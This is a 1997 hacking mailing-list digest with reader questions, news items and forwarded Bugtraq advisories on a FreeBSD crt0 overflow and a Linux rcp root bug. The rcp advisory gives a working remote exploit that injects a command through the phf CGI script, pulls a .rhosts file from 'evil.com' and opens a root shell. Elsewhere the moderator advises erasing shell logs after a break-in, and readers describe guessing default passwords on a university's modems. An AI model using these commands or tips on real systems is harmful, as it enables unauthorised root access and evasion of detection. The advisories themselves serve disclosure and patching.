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Happy Hacker Digest Feb. 2-4, 1997
____________________________________
This is a moderated list for discussions of *legal* hacking. Moderator is
Carolyn Meinel. Please don't send us anything you wouldn't email to your
friendly neighborhood narc, OK? Send posts to . Better
yet,
To subscribe or unsubscribe, use the subscribe boxes on the menubar. If you decide you just want to
use the forum and not get these mailings, I promise my feelings won't get
hurt if you unsubscribe from this list.
Happy hacking -- and ne auderis delere orbem rigidum meum!
---------------------------------------------------------

Moderator: OK, the interview with three of us Happy Hacksters (Jerry,
Patrick and Carolyn) is *finally* up at http://verbosity.wiw.org.

If you have been having trouble with looog delays using our Hackers forum at
http://www.infowar.com/cgi-shl/login.exe, it's because the Infowar site has
become insanely popular. Webwarrior tells us that "Our site was referenced
in the New York times last week and we also
received the Hot Site award from USA Today."

As Infowar tries to keep up with fame, Webwarrior is in the process of
increasing the Infowar site's capacity by a factor of three. Until then,
please be patient and continue posting to our Hackers forum there. Remember,
post to this Happy Hacker Digest and only 1500 hackers, narcs and
journalists will read your stuff. But post to the Infowar Hackers forum and
hundred of thousands of lurkers can pop out their eyes seeing what us
hackers are up to.
******
From: j-roc@juno.com (s j johnson)

If you want to get rid of all those annoying Juno ads, its so easy it's
funny.  All you have to do is delete the file in your root directory
named "resource.jno" and create another one that is 1 byte that is read only.

From: friend@home.com

Hello,
I have found something called RFC's.  Let me explain.  It means Request For
 Comments.  RFC's are assigned numbers that are used to identify a particular
 protocol or standard.  An example, IP is assigned number 791, and
consequently the document is know as RFC 791.  Numbers assigned to the RCFs
reflect the chronological order in which they were published.

Access to RFCs is made available to the public through using email or ftp.
Start by learning more.  Send the following E-mail to rfc-info@isi.edu,
using the following format:
To: rfc-info@isi.edu
Subject: getting rfcs

help: ways_to_get_rfcs

In response to this message, you get an E-mail detailing ways by which you
can gain access to the RFCs.
Thanks
--Knave

(Moderator's note: all serious hackers study RFCs. How do you think I manage
to trick lots of you into thinking I'm 31337? I read RFCs.)

williamw@cei.net

I know this is completely off the subject but i would like to know if any
of you would be willing to tell me what i should read, to learn the fine
art of hacking.  I am currently ready books on win95, NT, Unix, Linux, and
visual basic 4 pro and am attempting to learn programming with vis bas 4
pro. please email at the above address so as not to take up space here.
thank you for  your time.

From: Bryce Lynch <bryce@telerama.lm.com>

> OHHHH About Linux Slackware OK I am having the same problem How do you
> quit minicom without quitting it? I dial into the server I get the charters
> on the screen the how or what buttons should I push to get to the # prompt?

OK.  If you do an <Alt-Z> on your console, you'll pull up a menu of
hotkey functions minicom will respond to.  You'll see 'X', exit Minicom,
but that ISN'T what you want.  What you're looking for is 'Q', quit
Minicom and don't reset modem.  If you reset the modem, you'll lose your
link, so use <Alt+Q> to leave the connection active while exiting the
program.

>  I was looking around telnet://talentcom.com:15 and I got
> something weird. I'd just sit there and nothing would happen. However, if
> I held down control and pressed various letters, I would get the
> following line:
>  load: 0.35  cmd: telnet.real 9509 [netcon] 0.03u 0.03s 0% 0k
> Do you know what it means? And do you know of any cool places to port surf?

If you load /etc/services into your favorite text editor or just cat it
through 'more', you'll see a list of every port a Unix can understand,
what it does, the protocol layer it monitors, and maybe some comments.
What port 15 does is it responds with network statistics, like the load
the processor of the system is running, what method is being used to
access that process (in your example, a direct telnet session), kilobytes
of memory that process is addressing, and suchlike.

(Moderator: what he means by "cat it through 'more' is to give the command:
->more /etc/services/
On some Unix systems you can also give the command:
->less /etc/services
This is actually an obscure programmers' joke. See if you can find the
difference in the two commands.)

From: "Enrique F. Azuara" <eazuara@scanda.com.mx>
Subject: what to delete after a hack?????

howdy:
i was wondering what logs or files should be modified in a unix system after
a hack. I want to start my first hack but i need to know what not to do.

BTW does anyone know if hacking is illegal in Mexico??, are here any groups,
clubs, or something to share a drink or two?

see ya
henry jr.

(Moderator: Above all, don't erase the system files. Elite hackers do no
harm. Period! There is nothing that gives hackers a worse name than
essentially destroying a computer system. What happens is that Joe or Jane
Blow Cracker breaks in, then gets scared, then just rms EVERYTHING in a
panic. Then when Joe or Jane gets caught, (s)he is in REAL trouble because
of all that rming. If (s)he had just erased shell log files (s)he would have
been better off. Now if you think erasing everything in sight is enough to
keep you out of trouble, watch out because you could be wrong. How do you
think we learned so much about the Gray Areas Liberation Front attack on the
box hosting the Happy Hacker list despite their having rmed everything in
sight? Try a traceroute to your intended victim computer sometime. Even if
you use a dialup, do you think you can hide your tracks *everywhere*?)

(Anonymous post: second generation hacking!)

I am a seasoned hacker and a father of two.  My older child, a ten- year-
old, has a good bit of experience with computers, and I feared that she may
get caught hacking one day.  Then I discovered your newsletter.

Since then, I have had her read every issue.  She devours it, and has tried
every last (legal) idea.  She also had a pornographic site residing in
Germany taken off of the net.

Thank you for providing an entertaining list, and for saving my daughter's
freedom.

From: Intervention <intervention@imt.net>
X-Sender: Intervention <intervention@imt.net>

 I got a quick question for you, ok?

I was prefix scanning the local university and I found a lot of
carriers.  The one problem is that I have no clue what kind of systems
they are.  When I connect I get this prompt.

<login>:

It's either that or something really close, I could not quite remember.
I have tried a lot of default user names and passwords for Unix VAX/VMS
and other various systems.  Let me know what your insight is, thank you.

                                                burn*

From: Kenn Evitt <cpe2@gte.net>
Subject: linux slackware

i understood how to use minicom with the pppd daemon to open a PPP
connection, but how can i do this and connect to a specific DNS host?

From: "J Leane" <commando@hartingdale.com.au>

Hi IM new to happy hacker...
Any ideas on hacking bbs's??

From: Keith Bostic <bostic@bsdi.com>
Subject: Excerpted: Edupage, 30 January 1997

Forwarded-by: Rob Kolstad <kolstad@BSDI.COM>
Forwarded-by: educom@elanor.oit.unc.edu

SURFING FOR PORN, PAYING IN PHONE BILLS
A scam on the Internet has cost some Canadian victims up to $1,200 to
download pornography from certain Web sites.  In the scam, surfers are
told that looking at nude pictures is free but that a "special image
viewer" must be clicked on and downloaded to your computer.  The viewer
is actually a virus that disconnects your modem from the regular local
Internet service provider and surreptitiously reconnects the call to a
number in Moldavia, in the former Soviet Union, generating long-distance
charges.  Canadian federal police have ordered that all calls from Canada
to the number in Moldavia not be connected.  (Toronto Star 29 Jan 97)

E-MAIL FORGER FACES JAIL TERM
A former Oracle employee faces up to six years in prison for perjury,
falsification of evidence, and breaking into a computer network, because she
forged an e-mail message to support her charge that she was terminated from
the company for breaking up a personal relationship with the company's chief
executive.  (Atlanta Journal-Constitution 29 Jan 97)

From: burncy@mail1.nai.net (Burn-Cycle)
Subject: Re: Welcome to Happy Hacker

I use windows 95 and I use a really good telnet program...I think. Only
because I've read thing that hackers have written and they have said that
they can't only do certain stuff with a shell account. Well, I can do
everything they can do with my telnet program..........i think. Only things
that I've tried, have all worked for me. Anyway, I don't get something. I
know that when you finger someone you get the location of their password
file right?

ya know it looks something like this..

etc\usr\bin

something like that. But what do you do next, ya know. Cause me I'm trying to
hack into my own comp and I want to see if my password is easy to get. But I
just don't understand what people will do next. Ya know, I heard all you
saying well, I got this far, but how did ya do it, and what did ya do.....???

I'm thinking of setting up a server and I want to know if my computer has
good security. Thanks for all the help. Check out your server! EXCELLENT!!

-------------------------------------------------------------------------
 ____  ___ __ _____  ____ _       _______ _______ __    ______
|    \|   |  |     \|    | |     /     \ |   /   \  |  |      |
|  /  |   |  |  /  /|    | |  __ |   |_| |  /  |_|  |  |    --
|    /|   |  |    / |      | /_/ |   | \   /   | |  |  |      |
|    \|      |    \ |      |     |   |_ | ||   |_|  |  |      |
|  /  |      |  \  \| |    |     |   | || ||   | |  |__/\   --
\  ___/\____/|___\__\_|____|     \_____/|_|\_____/______/___  |
 \/                                                         \/
                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
                   THE UNDERGROUND SOCIETY
                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
              http://w3.nai.net/~bobrob/burn.htm

-------------------------------------------------------------------------

(Moderator: I keep on getting email from guys saying "Puleeze, please,
please tell me how to break into computers!!!!" OK, the following exploits
are for those guys. But I'll bet they can't figure out how to use them.
Meanwhile, in case I'm wrong, all you guys out there with FreeBSD had better
install the patches offered below before a herd of clueless newbies goes
rming their ways through your computers.)

Approved-By: aleph1@UNDERGROUND.ORG
Date:  Sun, 2 Feb 1997 23:54:54 -0600
Reply-To: tqbf@enteract.com
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: "Thomas H. Ptacek" <tqbf@enteract.com>
Subject:      Critical Security Problem in 4.4BSD crt0
X-cc:         freebsd-security@freebsd.org
To: BUGTRAQ@netspace.org

There is a critically important security problem in FreeBSD 2.1.5's C
runtime support library that will enable anyone with control of the
environment of a process to cause it to execute arbitrary code. All
executable SUID programs on the system are vulnerable to this problem.

The issue is that FreeBSD 2.1.5's crt0.c start() routine, which calls the
"main()" entry point function in the program that is starting, will under
some circumstances call routines that set the "locale" of the program. The
routines that do this are heavily dependent on environment variables,
which are in some circumstances copied directly into local character
buffers on the stack of the locale routines.

An immediately exploitable problem is evident in
"startup_setrunelocale()", which, if certain environment variables are
set, will copy the value of "PATH_LOCALE" directly into a 1024 byte buffer
on the routine's stack. An attacker simply needs to insert machine code
and virtual memory addresses into the "PATH_LOCALE" variable, enable
startup locale processing, and run an SUID program.

On FreeBSD 2.1.5, startup locale processing is enabled by setting the
environment variable "ENABLE_STARTUP_LOCALE". "startup_setrunelocale()" is
called if the environment variable "LC_CTYPE" is set as well.

An exploit to this problem was written in less than 5 minutes. It's a
completely typical stack overrun. There is at least one report of
individuals actively exploiting this problem on the net.

FreeBSD 2.2-BETA, as well as OpenBSD, seem to have this problem resolved.
FreeBSD's crt0 start() function does not process locales and is thus not
vulnerable to this problem. I have seen no announcements from the FreeBSD
team about 2.2's resolution to the problem, or 2.1.5's vulnerability, and
can only assume that they are unaware of it.

Thanks to Michael Scher at U.S. Host for information about this problem.

----------------
Thomas Ptacek at EnterAct, L.L.C., Chicago, IL [tqbf@enteract.com]
----------------
"I'm standing alone, I'm watching you all, I'm seeing you sinking."

Approved-By: aleph1@UNDERGROUND.ORG
Date:  Mon, 3 Feb 1997 19:48:17 -0000
Reply-To: Lex Spoon <sspoon@CLEMSON.EDU>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: Lex Spoon <sspoon@CLEMSON.EDU>
Subject:      Re: [H-BUGTRAQ] Critical Security Problem in 4.4BSD crt0
X-To:         brucec@HUMBUG.ORG.AU
To: BUGTRAQ@netspace.org

>   From: A Bruce in the land of the Bruces <brucec@HUMBUG.ORG.AU>
>
>   On Sun, 2 Feb 1997, Thomas H. Ptacek wrote:
>
>   > There is a critically important security problem in FreeBSD 2.1.5's C
>   > runtime support library that will enable anyone with control of the
>   > environment of a process to cause it to execute arbitrary code. All
>   > executable SUID programs on the system are vulnerable to this problem.
>   >
>   > On FreeBSD 2.1.5, startup locale processing is enabled by setting the
>   > environment variable "ENABLE_STARTUP_LOCALE". "startup_setrunelocale()" is
>   > called if the environment variable "LC_CTYPE" is set as well.
>
>   Quick fix (for shell users), 'declare -r' all suspect environment
>   variables to safe values in the system startup files for the shell.
>

This doesn't completely close the hole.  In the following snippet,
/bin/sh is /bin/bash, in case that matters:

        $ export FOO=short
        $ echo $FOO
        short
        $ declare -r FOO
        $ FOO=oaeundoautnhdoaeunthdoaeuthdoautnhd
        bash: FOO: read-only variable
        $ env FOO=oaeutnhdoeutnhdunthadutnohadoatnuehd  sh
        $ echo $FOO
        oaeutnhdoeutnhdunthadutnohadoatnuehd
        $

lex

Approved-By: aleph1@UNDERGROUND.ORG
X-Sender: miro@piglet.cc.utexas.edu
Date:  Mon, 3 Feb 1997 21:20:22 -0600
Reply-To: Miroslav Pikus <miro@ccwf.cc.utexas.edu>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: Miroslav Pikus <miro@ccwf.cc.utexas.edu>
Subject:      Linux rcp bug
To: BUGTRAQ@netspace.org

When playing around with rcp on Linux, we found something interesting,
that we haven't seen mentioned on Bugtraq before:

SUMMARY: Root privileges can be obtained by user nobody with uid 65535 by
exploiting a problem with /usr/bin/rcp. Many applications are running as
'nobody', in particular the NCSA httpd server, which by default executes
all cgi-bin scripts under this uid.

PLATFORMS: We tested this only on Linux Red Hat 4.0 and Linux Slackware 3.1

EXPLOIT: This is kind of simple:

root[11:20][504]~# su - nobody
[nobody@slip-70-8 /]$ id
uid=65535(nobody) gid=65535
[nobody@slip-70-8 /]$ rcp oberheim@moe.cc.utexas.edu:brb /tmp/test
[nobody@slip-70-8 /]$ ls -la /tmp/test
-rw-------   1 root     65535           0 Jan 29 11:20 /tmp/test

But then of course this is unrealistic, since regular users don't usually
have access to the 'nobody' account. The password is usually disabled by
'*', the login directory is /dev/null, etc.. However some applications do
run under uid 65535, and if they can be made to execute rcp, root
privileges can be obtained by anyone.

For example NCSA httpd server forks processes under uid 'nobody' after it
gets executed by root, so any cgi-script which can execute rcp can be used
to gain root access. In particular, do you remember the old problem in the
phf cgi-bin script ? If a newline character is passed to the phf script,
it can execute arbitrary programs as user 'nobody'. So the problem with
rcp can be exploited remotely, and root access can be gained from outside,
for instance like this:

$ echo "+ +" > /tmp/my.rhosts
$ echo "GET /cgi-bin/phf?Qalias=x%0arcp+hacker@evil.com:/tmp/my.rhosts+
/root/.rhosts" | nc -v - 20 victim.com 80
$ rsh -l root victim.com "/bin/sh -i"
#

The fact that this bug can be exploited remotely makes it, I think, quite
serious. We wrote a simple script that searched our home domains (*.cz and
*.sk) for machines that could potentially be attacked this way, and we found
about 20 machines after a short scan.

By looking at the source code for rcp, we noticed that that setuid()
function for user 65535 issues -1 error signal and so rcp, after opening
the ports as root, fails to setuid() back to 65535.

QUICK FIX: change uid of user 'nobody' to something else than 65535. '99'
is used by default on RedHat 4.0 for instance..
 

Cau,

Miro Pikus, miro@mail.utexas.edu, http://ccwf.cc.utexas.edu/~miro/
Rudo Betak, betak@crick.fmed.uniba.sk

Carolyn Meinel
M/B Research -- The Technology Brokers
 

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